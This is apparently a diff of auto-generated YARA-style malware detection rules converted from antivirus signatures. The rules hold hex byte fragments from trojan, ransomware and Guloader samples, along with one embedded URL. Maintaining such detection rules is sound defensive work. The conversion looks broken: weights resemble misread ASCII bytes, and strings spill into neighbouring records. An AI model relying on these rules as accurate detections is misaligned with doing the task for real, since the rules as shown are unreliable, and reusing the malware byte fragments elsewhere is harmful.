"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 47 6f 6f 6d 70 6c 65 61 74 65 2e 41 21 64 68 61 00 01 00 1e 01 75 00 70 00 6c 00 6f 00 61 00 64 00 20 00 73 00 75 00 63 00 63 00 65 00 73 00 73 00 21 00 01 00 16 01 68 6a 6b 63 6b 6d 37 } //16675 $a_6a_1 = {68 73 30 6f 6a 61 30 30 32 62 01 00 15 01 58 2d 55 70 6c 6f 61 64 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 01 00 0f 01 4e 65 77 5f 47 6f 6f 67 6c 65 44 72 69 76 } //14390 - $a_41_3 = {45 5f 53 54 41 54 45 5f 43 4f 4d 50 4c 45 41 54 45 00 00 78 af 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 64 73 77 72 2e 42 21 4d 54 42 00 01 00 10 00 5f 65 78 } //20565 - $a_74_4 = {5f 64 6c 6c 2e 64 6c 6c 01 00 24 00 41 70 70 50 6f 6c 69 63 79 47 65 74 50 72 6f 63 65 73 73 54 65 72 6d 69 6e 61 74 69 6f 6e 4d 65 74 68 6f 64 01 00 13 00 61 6e 6f 6e 79 6d 6f 75 73 20 6e 61 6d 65 73 70 61 63 65 01 00 11 00 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 1b 03 f7 c1 00 00 00 08 74 90 01 01 f7 c1 00 00 00 10 74 90 01 01 33 } //25445 + $a_41_3 = {45 5f 53 54 41 54 45 5f 43 4f 4d 50 4c 45 41 54 45 00 00 78 af 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 36 30 39 21 4d 54 42 00 01 00 0f 81 01 66 } //20565 + $a_69_4 = {65 6e 73 6b 61 62 65 72 73 01 00 15 81 01 56 6f 6c 75 6d 69 73 74 20 54 72 61 6e 71 75 69 6c 69 7a 65 73 01 00 18 81 01 44 65 73 74 72 75 6b 74 69 6f 6e 73 61 6e 73 74 61 6c 74 65 72 6e 65 73 01 00 20 81 01 42 6f 72 74 6b 61 73 74 65 6e 64 65 73 20 42 6c 69 74 68 65 73 6f 6d 65 20 44 65 66 75 73 65 73 01 00 11 81 01 47 65 74 43 75 72 72 65 6e 74 50 72 } //26465 condition: - ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*14390+(#a_41_3 & 1)*20565+(#a_74_4 & 1)*25445) >=4 + ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*14390+(#a_41_3 & 1)*20565+(#a_69_4 & 1)*26465) >=4 } -rule _InfrastructureShared_12185{ +rule _InfrastructureShared_12987{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 45 36 30 39 21 4d 54 42 00 01 00 0f 81 01 66 61 67 76 69 64 65 6e 73 6b 61 62 65 72 73 01 00 15 81 01 56 6f 6c 75 6d 69 73 74 20 54 72 61 6e 71 75 69 6c 69 7a 65 73 01 00 18 81 01 44 65 73 74 72 } //18467 + $a_69_1 = {6e 73 61 6e 73 74 61 6c 74 65 72 6e 65 73 01 00 20 81 01 42 6f 72 74 6b 61 73 74 65 6e 64 65 73 20 42 6c 69 74 68 65 73 6f 6d 65 20 44 65 66 75 73 65 73 01 00 11 81 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 00 00 78 af 00 00 04 00 04 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 72 64 73 77 72 2e 42 21 4d 54 42 } //27509 + $a_78_3 = {63 75 74 65 5f 64 6c 6c 2e 64 6c 6c 01 00 24 00 41 70 70 50 6f 6c 69 63 79 47 65 74 50 72 6f 63 65 73 73 54 65 72 6d 69 6e 61 74 69 6f 6e 4d 65 74 68 6f 64 01 00 13 00 61 6e 6f 6e 79 6d 6f 75 73 20 6e 61 6d 65 73 70 61 63 65 01 00 11 00 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 1b 03 f7 } //24320 + condition: + ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*27509+(#a_78_3 & 1)*24320) >=4 + +} +rule _InfrastructureShared_12988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -135362,7 +144440,7 @@ rule _InfrastructureShared_12185{ ((#a_4c_0 & 1)*21539+(#a_6d_1 & 1)*25940+(#a_46_2 & 1)*19529+(#a_00_3 & 1)*28776+(#a_4f_4 & 1)*385) >=4 } -rule _InfrastructureShared_12186{ +rule _InfrastructureShared_12989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -135376,7 +144454,7 @@ rule _InfrastructureShared_12186{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*17217+(#a_02_2 & 1)*29548+(#a_11_3 & 1)*4866+(#a_0d_5 & 1)*2048) >=4 } -rule _InfrastructureShared_12187{ +rule _InfrastructureShared_12990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " @@ -135386,7 +144464,7 @@ rule _InfrastructureShared_12187{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_12188{ +rule _InfrastructureShared_12991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -135394,39 +144472,40 @@ rule _InfrastructureShared_12188{ $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 43 6f 64 65 72 2e 52 48 55 21 4d 54 42 00 02 00 1e 03 50 45 00 00 4c 01 05 90 01 11 0b 01 09 00 00 de 02 00 00 e4 02 00 00 00 00 00 7e 17 90 00 01 00 0c 01 } //21539 $a_44_1 = {a3 f4 1b 44 00 ff e0 01 00 26 01 e8 d4 ff ff ff 8b 45 f8 83 c0 46 89 45 fc 83 } //16545 $a_83_2 = {fc 3c 8b 45 08 8a 4d fc 03 c7 } //-915 - $a_3b_3 = {0c 7c cc 01 00 22 01 a8 25 00 00 0d 00 18 18 00 00 01 00 20 00 88 09 00 00 0e 00 10 10 00 00 01 00 20 00 68 04 00 00 0f 00 00 00 78 af 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f } //2096 + $a_3b_3 = {0c 7c cc 01 00 22 01 a8 25 00 00 0d 00 18 18 00 00 01 00 20 00 88 09 00 00 0e 00 10 10 00 00 01 00 20 00 68 04 00 00 0f 00 00 00 78 af 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 4d 53 49 50 2e 4f } //2096 condition: ((#a_4c_0 & 1)*21539+(#a_44_1 & 1)*16545+(#a_83_2 & 1)*-915+(#a_3b_3 & 1)*2096) >=5 } -rule _InfrastructureShared_12189{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 6c 67 65 6e 74 2e 50 47 4d 21 4d 54 42 00 01 00 36 01 0f 7b 00 30 00 7d 00 2f 00 7b 00 31 00 7d 00 00 1f 5c 00 73 00 28 00 3f 00 3c 00 6b 00 65 00 79 00 3e 00 2e 00 } //21539 - $a_00_1 = {29 00 5c 00 2e 00 00 07 6b 00 65 00 79 01 00 12 80 01 69 6e 66 6f 2d 73 65 63 2e 6a 70 2f 61 74 74 61 63 68 01 00 13 80 01 73 74 67 73 65 63 2d 69 6e 66 6f 2e 6a 70 2f 61 63 6f 6e 02 00 17 } //42 - $a_64_2 = {41 74 74 61 63 68 50 72 6f 64 75 63 74 69 6f 6e 2e 65 78 65 00 00 78 af 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 4d 53 49 50 2e 4f 66 66 69 63 65 00 01 00 0f 80 01 67 65 74 5f 53 65 6c 65 63 74 55 73 65 72 73 01 00 15 80 } //384 - $a_65_3 = {74 65 4d 61 6e 64 61 74 6f 72 79 57 69 6e 64 6f 77 01 00 23 80 01 4d 69 63 72 6f 73 6f 66 74 2e 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 74 65 63 74 69 6f 6e 2e 52 4d 53 01 00 23 80 01 4d 69 63 72 6f 73 6f 66 74 2e 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 74 65 63 74 69 6f 6e 2e 4c 69 62 01 00 0c 80 01 43 4f 4d 45 78 63 65 70 74 69 6f 6e } //17153 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*42+(#a_64_2 & 1)*384+(#a_65_3 & 1)*17153) >=5 - -} -rule _InfrastructureShared_12190{ +rule _InfrastructureShared_12992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 4d 53 49 50 2e 4f 66 66 69 63 65 00 01 00 0f 80 01 67 65 74 5f 53 65 6c 65 63 74 55 73 65 72 73 01 00 15 80 01 43 72 65 61 74 65 4d 61 6e 64 61 74 6f 72 79 57 69 6e 64 6f 77 01 00 23 80 01 4d 69 63 72 6f 73 6f 66 74 2e 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 74 65 63 74 69 6f 6e 2e 52 4d 53 01 00 23 80 } //16675 - $a_63_1 = {6f 73 6f 66 74 2e 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 74 65 63 74 69 6f 6e 2e 4c 69 62 01 00 0c 80 01 43 4f 4d 45 78 63 65 70 74 69 6f 6e 00 00 78 af 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 55 31 32 33 21 4d 54 42 00 01 00 17 81 01 64 65 63 68 69 66 } //19713 - $a_62_2 = {72 65 20 6d 65 72 63 65 72 65 73 73 01 00 17 81 01 70 6f 6d 70 65 6a 61 6e 73 6b 20 68 75 73 64 79 72 73 79 67 64 6f 6d 01 00 1c 81 01 62 65 6c 6c 69 65 64 20 70 65 61 66 6f 77 6c 73 20 73 61 64 64 65 6c 70 6c 61 64 73 01 00 18 81 01 73 74 61 76 65 64 65 20 72 69 6c 6c 65 64 20 6b 6a 6f 6c 65 73 6b 64 73 01 00 0a 81 01 75 6e 64 65 72 6b 62 } //25970 - $a_00_3 = {00 78 af 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 4f 31 32 33 21 4d 54 42 00 01 00 0c 81 01 62 72 75 6e 6a 65 72 6e 73 74 65 6e 01 00 13 81 01 65 66 74 65 72 67 72 65 6c 73 65 6e 20 77 61 72 6e 61 73 01 00 0b 81 01 76 61 6e 64 62 72 65 72 6e 65 73 01 00 21 81 01 72 65 6d 65 6d 62 65 72 } //29285 - $a_20_4 = {65 74 61 64 6f 6e 20 67 65 6e 64 61 72 6d 65 72 69 65 74 73 01 00 21 81 01 73 65 72 76 69 6c 65 6e 65 73 73 20 70 72 6f 67 72 65 73 73 69 76 69 73 74 20 6d 75 67 67 65 64 65 00 00 78 af 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4b 4a 52 31 32 33 21 4d 54 42 } //28265 + $a_63_1 = {6f 73 6f 66 74 2e 49 6e 66 6f 72 6d 61 74 69 6f 6e 50 72 6f 74 65 63 74 69 6f 6e 2e 4c 69 62 01 00 0c 80 01 43 4f 4d 45 78 63 65 70 74 69 6f 6e 00 00 78 af 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 43 30 31 21 4d 54 42 00 01 00 2a 81 01 62 69 76 65 6a 65 6e 65 } //19713 + $a_6b_2 = {69 76 69 74 65 74 73 68 75 73 65 6e 65 20 76 61 61 62 65 6e 68 61 6e 64 6c 65 72 6e 65 01 00 0f 81 01 6a 6f 75 72 6e 61 6c 67 72 75 70 70 65 72 73 01 00 0e 81 01 74 79 72 65 73 74 61 74 69 6f 6e 65 72 73 01 00 1a 81 01 63 61 6d 70 6f 6e 67 20 6f 72 74 68 6f 70 68 6f 6e 79 20 61 6c 6d 73 66 } //8307 + $a_00_3 = {0d } //27765 + $a_6c_4 = {68 65 6d 69 65 73 2e 65 78 65 00 00 78 af 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 41 50 55 31 32 33 21 4d 54 42 00 01 00 17 81 01 64 65 63 68 69 66 72 65 72 62 61 72 65 20 6d 65 72 63 65 72 65 73 73 01 00 17 81 01 70 6f 6d 70 65 6a 61 6e } //385 condition: - ((#a_6c_0 & 1)*16675+(#a_63_1 & 1)*19713+(#a_62_2 & 1)*25970+(#a_00_3 & 1)*29285+(#a_20_4 & 1)*28265) >=5 + ((#a_6c_0 & 1)*16675+(#a_63_1 & 1)*19713+(#a_6b_2 & 1)*8307+(#a_00_3 & 1)*27765+(#a_6c_4 & 1)*385) >=5 } -rule _InfrastructureShared_12191{ +rule _InfrastructureShared_12993{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 43 30 31 21 4d 54 42 00 01 00 2a 81 01 62 69 76 65 6a 65 6e 65 73 20 61 6b 74 69 76 69 74 65 74 73 68 75 73 65 6e 65 20 76 61 61 62 65 6e 68 61 6e 64 6c 65 72 6e 65 01 00 0f 81 01 6a 6f 75 72 6e } //18467 + $a_72_1 = {70 70 65 72 73 01 00 0e 81 01 74 79 72 65 73 74 61 74 69 6f 6e 65 72 73 01 00 1a 81 01 63 61 6d 70 6f 6e 67 20 6f 72 74 68 6f 70 68 6f 6e 79 20 61 6c 6d 73 66 75 6c 01 00 0d 81 01 61 6c 63 68 65 6d 69 65 73 2e 65 78 65 00 00 78 af 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 } //27745 + $a_2e_2 = {41 50 55 31 32 33 21 4d 54 42 00 01 00 17 81 01 64 65 63 68 69 66 72 65 72 62 61 72 65 20 6d 65 72 63 65 72 65 73 73 01 00 17 81 01 70 6f 6d 70 65 6a 61 6e 73 6b 20 68 75 73 64 79 72 73 79 67 64 6f 6d 01 00 1c 81 01 62 65 6c 6c 69 65 64 20 70 65 61 66 6f 77 6c 73 20 73 61 64 64 65 6c 70 6c 61 64 73 01 00 18 81 01 73 74 61 76 65 64 65 20 72 } //25956 + $a_65_3 = {20 6b 6a 6f 6c 65 73 6b 64 73 01 00 0a 81 01 75 6e 64 65 72 6b 62 65 72 73 00 00 78 af 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 49 55 4f 31 32 33 21 4d 54 42 00 01 00 0c 81 01 62 72 75 6e 6a 65 72 6e 73 74 65 6e 01 00 13 81 01 65 66 74 65 72 67 72 65 6c 73 65 6e 20 77 61 } //27753 + $a_73_4 = {00 0b 81 01 76 61 6e 64 62 72 65 72 6e 65 73 01 00 21 81 01 72 65 6d 65 6d 62 65 72 69 6e 67 20 6d 65 74 61 64 6f 6e 20 67 65 6e 64 61 72 6d 65 72 69 65 74 73 01 00 21 81 01 73 65 72 76 69 6c 65 6e 65 73 73 20 70 72 6f 67 72 65 73 73 69 76 69 73 74 20 6d 75 67 67 65 64 65 00 00 78 af 00 00 } //28274 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*27745+(#a_2e_2 & 1)*25956+(#a_65_3 & 1)*27753+(#a_73_4 & 1)*28274) >=5 + +} +rule _InfrastructureShared_12994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -135439,7 +144518,7 @@ rule _InfrastructureShared_12191{ ((#a_54_0 & 1)*18467+(#a_6c_2 & 1)*25089+(#a_55_3 & 1)*19246+(#a_65_4 & 1)*28005) >=5 } -rule _InfrastructureShared_12192{ +rule _InfrastructureShared_12995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -135453,7 +144532,7 @@ rule _InfrastructureShared_12192{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29541+(#a_65_2 & 1)*385+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule _InfrastructureShared_12193{ +rule _InfrastructureShared_12996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -135467,7 +144546,7 @@ rule _InfrastructureShared_12193{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27745+(#a_4e_2 & 1)*11890+(#a_73_3 & 1)*28271+(#a_76_4 & 1)*29811) >=5 } -rule _InfrastructureShared_12194{ +rule _InfrastructureShared_12997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -135481,7 +144560,7 @@ rule _InfrastructureShared_12194{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_af_4 & 1)*0) >=5 } -rule _InfrastructureShared_12195{ +rule _InfrastructureShared_12998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -135495,7 +144574,7 @@ rule _InfrastructureShared_12195{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*12581+(#a_75_2 & 1)*29281+(#a_65_3 & 1)*26998+(#a_61_4 & 1)*14918) >=5 } -rule _InfrastructureShared_12196{ +rule _InfrastructureShared_12999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -135509,7 +144588,7 @@ rule _InfrastructureShared_12196{ ((#a_46_0 & 1)*21283+(#a_2e_1 & 1)*25954+(#a_6f_2 & 1)*29281+(#a_6b_3 & 1)*24948+(#a_00_4 & 1)*25956) >=6 } -rule _InfrastructureShared_12197{ +rule _InfrastructureShared_13000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -135524,7 +144603,7 @@ rule _InfrastructureShared_12197{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_af_5 & 1)*0) >=6 } -rule _InfrastructureShared_12198{ +rule _InfrastructureShared_13001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -135539,7 +144618,7 @@ rule _InfrastructureShared_12198{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*2304+(#a_65_2 & 1)*27715+(#a_6d_3 & 1)*28486+(#a_62_4 & 1)*11573+(#a_02_5 & 1)*-28651) >=6 } -rule _InfrastructureShared_12199{ +rule _InfrastructureShared_13002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -135552,7 +144631,7 @@ rule _InfrastructureShared_12199{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*385+(#a_90_4 & 1)*11401+(#a_43_5 & 1)*274) >=6 } -rule _InfrastructureShared_12200{ +rule _InfrastructureShared_13003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -135568,7 +144647,7 @@ rule _InfrastructureShared_12200{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*26624+(#a_6e_2 & 1)*30465+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=6 } -rule _InfrastructureShared_12201{ +rule _InfrastructureShared_13004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -135582,7 +144661,7 @@ rule _InfrastructureShared_12201{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*17235+(#a_23_2 & 1)*7+(#a_74_4 & 1)*25089+(#a_af_5 & 1)*0) >=7 } -rule _InfrastructureShared_12202{ +rule _InfrastructureShared_13005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -135598,7 +144677,7 @@ rule _InfrastructureShared_12202{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*23553+(#a_61_2 & 1)*28530+(#a_01_3 & 1)*25927+(#a_52_4 & 1)*-32497+(#a_65_5 & 1)*25710+(#a_00_6 & 1)*30720) >=7 } -rule _InfrastructureShared_12203{ +rule _InfrastructureShared_13006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -135614,7 +144693,7 @@ rule _InfrastructureShared_12203{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*103+(#a_41_2 & 1)*19529+(#a_6c_3 & 1)*24932+(#a_00_4 & 1)*8+(#a_63_5 & 1)*27714+(#a_65_6 & 1)*384) >=7 } -rule _InfrastructureShared_12204{ +rule _InfrastructureShared_13007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -135631,7 +144710,7 @@ rule _InfrastructureShared_12204{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*18689+(#a_00_2 & 1)*25710+(#a_64_3 & 1)*26738+(#a_01_4 & 1)*29208+(#a_11_5 & 1)*4874+(#a_00_6 & 1)*400+(#a_90_7 & 1)*5898) >=8 } -rule _InfrastructureShared_12205{ +rule _InfrastructureShared_13008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -135648,7 +144727,7 @@ rule _InfrastructureShared_12205{ ((#a_41_0 & 1)*20515+(#a_6e_1 & 1)*25454+(#a_4c_2 & 1)*21325+(#a_0e_3 & 1)*9476+(#a_00_4 & 1)*1574+(#a_11_5 & 1)*2560+(#a_46_6 & 1)*4096+(#a_73_7 & 1)*17005) >=8 } -rule _InfrastructureShared_12206{ +rule _InfrastructureShared_13009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -135660,7 +144739,7 @@ rule _InfrastructureShared_12206{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28531+(#a_a2_2 & 1)*3606) >=12 } -rule _InfrastructureShared_12207{ +rule _InfrastructureShared_13010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -135672,7 +144751,7 @@ rule _InfrastructureShared_12207{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*-28561+(#a_90_2 & 1)*2560) >=12 } -rule _InfrastructureShared_12208{ +rule _InfrastructureShared_13011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -135685,7 +144764,7 @@ rule _InfrastructureShared_12208{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*-28632+(#a_04_2 & 1)*-28632+(#a_07_3 & 1)*2050) >=13 } -rule _InfrastructureShared_12209{ +rule _InfrastructureShared_13012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -135699,7 +144778,7 @@ rule _InfrastructureShared_12209{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26625+(#a_6c_2 & 1)*25940+(#a_00_4 & 1)*45+(#a_6e_5 & 1)*28484) >=15 } -rule _InfrastructureShared_12210{ +rule _InfrastructureShared_13013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -135713,7 +144792,7 @@ rule _InfrastructureShared_12210{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*71+(#a_00_3 & 1)*45+(#a_33_4 & 1)*26967+(#a_90_5 & 1)*-16251) >=15 } -rule _InfrastructureShared_12211{ +rule _InfrastructureShared_13014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 10 00 04 00 21 " @@ -135724,7 +144803,7 @@ rule _InfrastructureShared_12211{ ((#a_46_0 & 1)*16675+(#a_73_3 & 1)*28534) >=16 } -rule _InfrastructureShared_12212{ +rule _InfrastructureShared_13015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -135735,7 +144814,7 @@ rule _InfrastructureShared_12212{ ((#a_54_0 & 1)*18467+(#a_f8_1 & 1)*-14584) >=20 } -rule _InfrastructureShared_12213{ +rule _InfrastructureShared_13016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -135748,20 +144827,32 @@ rule _InfrastructureShared_12213{ ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*-407+(#a_01_2 & 1)*2048+(#a_63_3 & 1)*25692) >=20 } -rule _InfrastructureShared_12214{ +rule _InfrastructureShared_13017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 05 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 44 4d 43 61 73 74 00 0a 00 22 01 53 4f 46 54 57 41 52 45 5c 73 68 61 72 65 68 65 6c 70 65 72 5c 63 61 73 74 5c 64 6d 63 6c 69 65 6e 74 0a 00 1f 00 53 6f 66 74 77 61 72 65 5c 73 68 61 72 65 68 65 6c 70 65 72 5c 63 61 73 74 5c 64 6d 62 61 72 0a 00 09 00 64 6d 62 61 72 2e 64 } //16675 $a_00_1 = {0b 01 2e 64 6d 63 61 73 74 2e } //27756 - $a_0a_2 = {00 28 02 68 74 74 70 3a 2f 2f 90 02 06 2e 64 6d 62 61 72 2e 64 6d 63 61 73 74 2e 63 6f 6d 2f 69 6e 64 65 78 2e 68 74 6d 6c 90 00 00 00 78 b0 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 44 4a 30 31 21 4d 54 42 00 01 00 7a 81 01 16 13 07 2b 6a 00 20 00 } //28515 - $a_58_4 = {09 11 07 20 00 9a 01 00 5d 13 0a 11 09 20 00 9a 01 00 5d 13 0b 07 11 } //1809 + $a_0a_2 = {00 28 02 68 74 74 70 3a 2f 2f 90 02 06 2e 64 6d 62 61 72 2e 64 6d 63 61 73 74 2e 63 6f 6d 2f 69 6e 64 65 78 2e 68 74 6d 6c 90 00 00 00 78 af 00 00 55 00 55 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4d 52 21 4d 54 42 00 32 00 34 01 c6 44 24 30 69 80 74 24 31 37 80 74 24 32 38 80 74 24 33 } //28515 + $a_24_3 = {3a 80 74 24 35 3b 80 74 24 36 3c 80 74 24 37 3d 80 74 24 38 3e 80 74 24 39 3f 34 40 23 00 4c 03 48 c7 43 60 07 00 00 00 66 89 43 48 0f 11 44 24 30 48 89 44 24 30 66 0f 6f 05 90 01 04 f3 0f 7f 44 24 40 66 89 44 24 30 48 8b 43 08 48 8d 0d 4f 7a 00 00 48 85 c0 48 0f 45 c8 48 89 4c 24 20 48 c7 c0 ff ff ff ff 0f 1f 40 00 90 00 00 00 78 b0 00 00 01 00 } //-32711 + $a_00_4 = {21 } //1 ! condition: - ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*27756+(#a_0a_2 & 1)*28515+(#a_58_4 & 1)*1809) >=50 + ((#a_77_0 & 1)*16675+(#a_00_1 & 1)*27756+(#a_0a_2 & 1)*28515+(#a_24_3 & 1)*-32711+(#a_00_4 & 1)*1) >=50 } -rule _InfrastructureShared_12215{ +rule _InfrastructureShared_13018{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,55 00 55 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4d 52 21 4d 54 42 00 32 00 34 01 c6 44 24 30 69 80 74 24 31 37 80 74 24 32 38 80 74 24 33 39 80 74 24 34 3a 80 74 24 35 3b 80 74 24 36 3c 80 74 24 37 3d } //21539 + $a_38_1 = {80 74 24 39 3f 34 40 23 00 4c 03 48 c7 43 60 07 00 00 00 66 89 43 48 0f 11 44 24 30 48 89 44 24 30 66 0f 6f } //29824 + condition: + ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*29824) >=85 + +} +rule _InfrastructureShared_13019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -135771,7 +144862,7 @@ rule _InfrastructureShared_12215{ ((#a_54_0 & 